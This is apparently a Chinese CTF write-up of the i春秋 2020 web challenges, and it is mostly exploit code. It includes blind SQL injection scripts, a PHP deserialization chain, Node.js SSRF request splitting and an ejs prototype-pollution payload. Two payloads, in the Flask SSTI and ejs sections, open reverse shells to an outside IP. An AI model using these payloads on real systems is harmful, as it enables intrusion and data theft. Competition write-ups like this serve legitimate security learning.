i春秋2020

i春秋

web

简单的招聘系统

sqlmap直接出来

flag{2f52809e-f46c-4638-8f72-b24ec1ec6d06}

盲注

过滤union,<,>,=

构造http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1 and if(hex(substr(fl4g,1,1))-1,sleep(5),0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

'http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1%20and%20if(hex(substr(fl4g,POS,1))-GUESS,sleep(5),0)'
result="666c61677b32363837656433302d356266382d343033662d383732342d61643239"
l=len(result)
while True:
ended=True
l+=1
for i in range(16):
sql='http://ecd3dce145d342fd9d490cde15ef8239b1e8b5763640437a.changame.ichunqiu.com/?id=0%2bif(conv(substr(hex(fl4g),POS,1),16,10)-GUESS,1,sleep(5))'
sql=sql.replace("POS",str(l))
sql=sql.replace("GUESS",str(i))
try:
requests.get(sql,timeout=5)
print(sql)
except :
result+=hex(i)[2:]
print(result)
ended=False
break
if ended:
break

ezsqli

黑名单:union.*select,or,in

因为盲注太麻烦,所以想用preg回溯次数来绕过,但是没用,最后也只能盲注了

0 ^ (1=0)来盲注,因为过滤了in所以用sys系统库来绕过(https://xz.aliyun.com/t/7169#toc-53)

0 ^ (select substr(hex(group_concat(table_name)),1,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)

获取表名之后,还有一个难点就是,列名的获取,但是获取列名会用到in字符

因此考虑,无列名注入union select那个肯定不行

我们利用((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))来获取flag

当我们利用这个时,我们必须保证某一个相等,才能通过另外一个判断flag

有一点要注意的是

1
2
3
4
5
6
mysql> select 'f'='F';
+---------+
| 'f'='F' |
+---------+
| 1 |
+---------+

用这种方法是无法区分大小写的,所幸这次比赛的flag都是小写

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string

sql="1 ^ ((select substr(hex(group_concat(table_name)),POS,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)=GUESS)"
#f1ag_1s_h3r3_hhhhh,users233333333333333
result=""
# l=len(result)
# while True:
# l+=1
# ended=True
# for i in string.printable:
# sql="1 ^ ((select 0,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))"
# sql=sql.replace("POS",str(l))
# sql=sql.replace("GUESS",(result+i).encode("hex").upper())
# res=requests.post("http://c957eb4253fb4275856dc45eb06d11ab05103bcf405348ab.changame.ichunqiu.com/index.php",data={"id":sql})
# print(sql)
# if "Hello Nu1L" in res.text:
# result+=i
# print(result)
# ended=False
# break
# if ended:
# break

#FLAG{9AD0BB6D-634F-4AEC-9DD8-B617774CD334}
l=len(result)
while True:
l+=1
ended=True
for j in range(32,128):
i=chr(j)
sql="0 ^ ((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))"
sql=sql.replace("POS",str(l))
sql=sql.replace("GUESS",'0x'+(result+i).encode("hex").upper())
res=requests.post("http://c957eb4253fb4275856dc45eb06d11ab05103bcf405348ab.changame.ichunqiu.com/index.php",data={"id":sql})
print(sql)
if "Hello Nu1L" in res.text:
result+=chr(ord(i)-1)
print(result)
ended=False
break
if ended:
break

babyphp

1
2
3
4
class info:__call 
public function __call($name,$argument){//反序列化
echo $this->CtrlCase->login($argument[0]);
}

flag在flag.php中

文件读取点:

1
2
3
4
class User
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}
1
2
3
4
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

现在有两种思路:

  1. 反序列化读取文件
  2. sql注入拿到管理原密码,来读取文件(x)

无论想干啥都得先登陆,但是不知道咋登陆

考虑反序列化

如果我们成功登陆,攻击入口就是update.php

1
2
3
4
5
6
7
8
9
10
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

比较奇怪的是,按我所知,想要反序列化就要登陆,登陆的话他们就自己打出flag了,所以没有反序列化的必要?

认真看下好像没有die

1
2
3
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}

反序列化的起点是:$Info=unserialize($this->getNewinfo());

终点是:

1
2
3
4
class user
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}

1
2
3
4
class Info
public function __call($name,$argument){//反序列化
echo $this->CtrlCase->login($argument[0]);
}

因为__destruct的数据不知道怎么拿出来,我先考虑sql注入

如果,老老实实让他们序列化Info,好像啥都干不了

想办法利用safe函数在Info里面插个类,插个UpdateHelper然后利用其__destruct方法调用User__toString函数,

再调用login方法,最后执行sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User{
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
Class UpdateHelper{
public $id=0;
public $newinfo="";
public $sql;
public function __construct($sql){
$this->sql=$sql;
}
// public function __destruct()
// {
// echo $this->sql;
// }
}
class Info{
public $age="";
public $nickname="";
public $CtrlCase;
public function __construct(){
$this->CtrlCase=new dbCtrl();
}
// public function __call($name,$argument){//反序列化
// echo $this->CtrlCase->login($argument[0]);
// }
}
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "noob123";
public $dbpass = "noob123";
public $database = "noob123";
// public $hostname = "127.0.0.1";
// public $dbuser = "root";
// public $dbpass = "123456";
// public $database = "test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
}
class User
{
public $id=0;
public $age;
public $nickname;
public function __construct()
{
$this->nickname=new Info();
$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
}
}
function escape($str)
{
$evil='';
$len=strlen($str)+2;
if($len%2)
{
$evil.="union";
$len-=1;
}
$len/=2;
while($len)
{
$evil.="load";
$len-=1;
}
return $evil.'";'.$str;

}
$call__tostring=new UpdateHelper(new User());
$ser= urlencode(serialize($call__tostring));
echo urlencode(escape("s:8:\"CtrlCase\";".urldecode($ser).';};'));

flag{7989f259-3281-4c1c-8939-dc8bc0b5375b}

easysqli_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

利用宽字节来逃出引号包围,payload:%bf%27;

但是没有找到有效的sql时间盲注语句,正则来延时也没用,加上select被过滤,

我缺少了一个关键的知识

在学长的提示下,被认为不可以堆叠注入的pdo居然可以(我哪来的认知????)

然后就简单了

1
set @t=0x73656C65637420736C65657028313029;PREPARE sqla from @t;EXECUTE sqla;

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
def sql_inj(sql):
sql="0x"+sql.encode("hex")
tpl="set @t=TGT;PREPARE sqla from @t;EXECUTE sqla;".replace("TGT",sql)
url="http://b0ae8f49254247b8815616a4711941f17f2a145a8a374167.changame.ichunqiu.com/"
param={
"id":"\xbf\x27;"+tpl
}
requests.get(url,params=param,timeout=2)

#696E666F726D6174696F6E5F736368656D612C6D7973716C2C70646F746573742C706572666F726D616E63655F736368656D61
#table1
#balabala,eihey,fllllll4g,bbb
result=""
count=1+len(result)
while True:
lock=0
for i in "0123456789ABCDEF":
#UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
try :
sql="select if(substr(hex(group_concat(COL)),POS,1)='GUESS',sleep(3),0) from TABLE WHERE".replace("COL","fllllll4g")
sql=sql.replace("GUESS",i).replace("TABLE","table1")
sql=sql.replace("WHERE","")
sql=sql.replace("POS",str(count))
sql_inj(sql)
print(sql)

except :
result+=i
print(result)
lock=1
break
if not lock:
break
count+=1

black_list

这题让我学到一个骚操作和看到一篇好文章

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

利用堆叠注入查询

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1';show create table words;#
array(2) {
[0]=>
string(5) "words"
[1]=>
string(114) "CREATE TABLE `words` (
`id` int(10) NOT NULL,
`data` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8"
}


1';show create table FlagHere;#
array(2) {
[0]=>
string(8) "FlagHere"
[1]=>
string(93) "CREATE TABLE `FlagHere` (
`flag` varchar(100) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8"
}

利用handler来读取数据

1';handler FlagHere open;handler FlagHere read first;#

flaskapp

{{1+1}}

过滤import,os

1
2
3
4
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')}}
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()}}
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()|attr('__dict__')}}
{{config.__class__.__mro__[1].__subclasses__()[-2].__init__.__globals__['o'+'s'].__dict__['sys'+'tem']('echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoIjM5LjEwOC4xNjQuMjE5Iiw2MDAwMykpCm9zLmR1cDIocy5maWxlbm8oKSwwKQpvcy5kdXAyKHMuZmlsZW5vKCksMSkKb3MuZHVwMihzLmZpbGVubygpLDIpCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p|base'+'64 -d | python')}}

node_game

https://github.com/nodejs/node/issues/13296

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

这题有个upload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

但是需要本地访问

有一个ssrf的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

我们利用nodejs 8及之前的utf-8latin1的漏洞来进行ssrf

1
2
> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hashlib
from urllib.parse import quote, unquote
import requests
import socket

file='''------WebKitFormBoundaryVneK8P7cpLasJSn8
Content-Disposition: form-data; name="file"; filename="a.pug"
Content-Type: ../template

doctype html
html
head

body
include ../../../../../../flag.txt
------WebKitFormBoundaryVneK8P7cpLasJSn8--
'''.replace("\r\n","\n").replace("\n","\r\n")
body=''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: x
Content-Length: %d
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVneK8P7cpLasJSn8
Connection: keep-alive

%s
GET /core HTTP/1.1
Host: x
Connection: keep-alive
x:''' %(len(file),file)
body=body.replace("\r\n","\n").replace("\n","\r\n")
uni = {
'/': quote('\u012f'.encode('utf-8')),
' ': quote('\u0120'.encode('utf-8')),
'\n': quote('\u010a'.encode('utf-8')),
'\r': quote('\u010d'.encode('utf-8')),
'"': quote('\u0122'.encode('utf-8')),
"'": quote('\u0127'.encode('utf-8')),
'!': quote('\u0121'.encode('utf-8')),
'o': quote('\u016f'.encode('utf-8')),
'e': quote('\u0165'.encode('utf-8')),
}
print(uni)
host=""
payload = '%s' % body
for c, encoded in uni.items():
payload = payload.replace(c, encoded)
print(payload)
requests.get("http://123.57.212.112:33321/core?q="+payload)

flag{8ed05e41-c306-4f0f-a958-6759f66890e9}

ezExpress

https://xz.aliyun.com/t/7184#toc-7

https://xz.aliyun.com/t/6113#toc-4

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

类似js原型链污染的点

但是需要req.session.user.user==ADMIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

谷歌找到https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html,关于toUpperCase的一些特性,来绕过safeKeyword

payload:userid=adm%C4%B1n&pwd=a&action=login&Submit=register | admın

最后污染ejs来拿到flag(https://xz.aliyun.com/t/6113#toc-4)

1
{"Submit":"","lud":1,"__proto__":{"outputFunctionName":"a; global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.108.164.219/60003 0>&1\"');//"}}

easy_thinking

www.zip下载源码

输入不存在的路径发现是tp6.0.0,刚好有个session直接写的漏洞

全局搜索session,发现

1
2
3
4
5
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}

然后getshell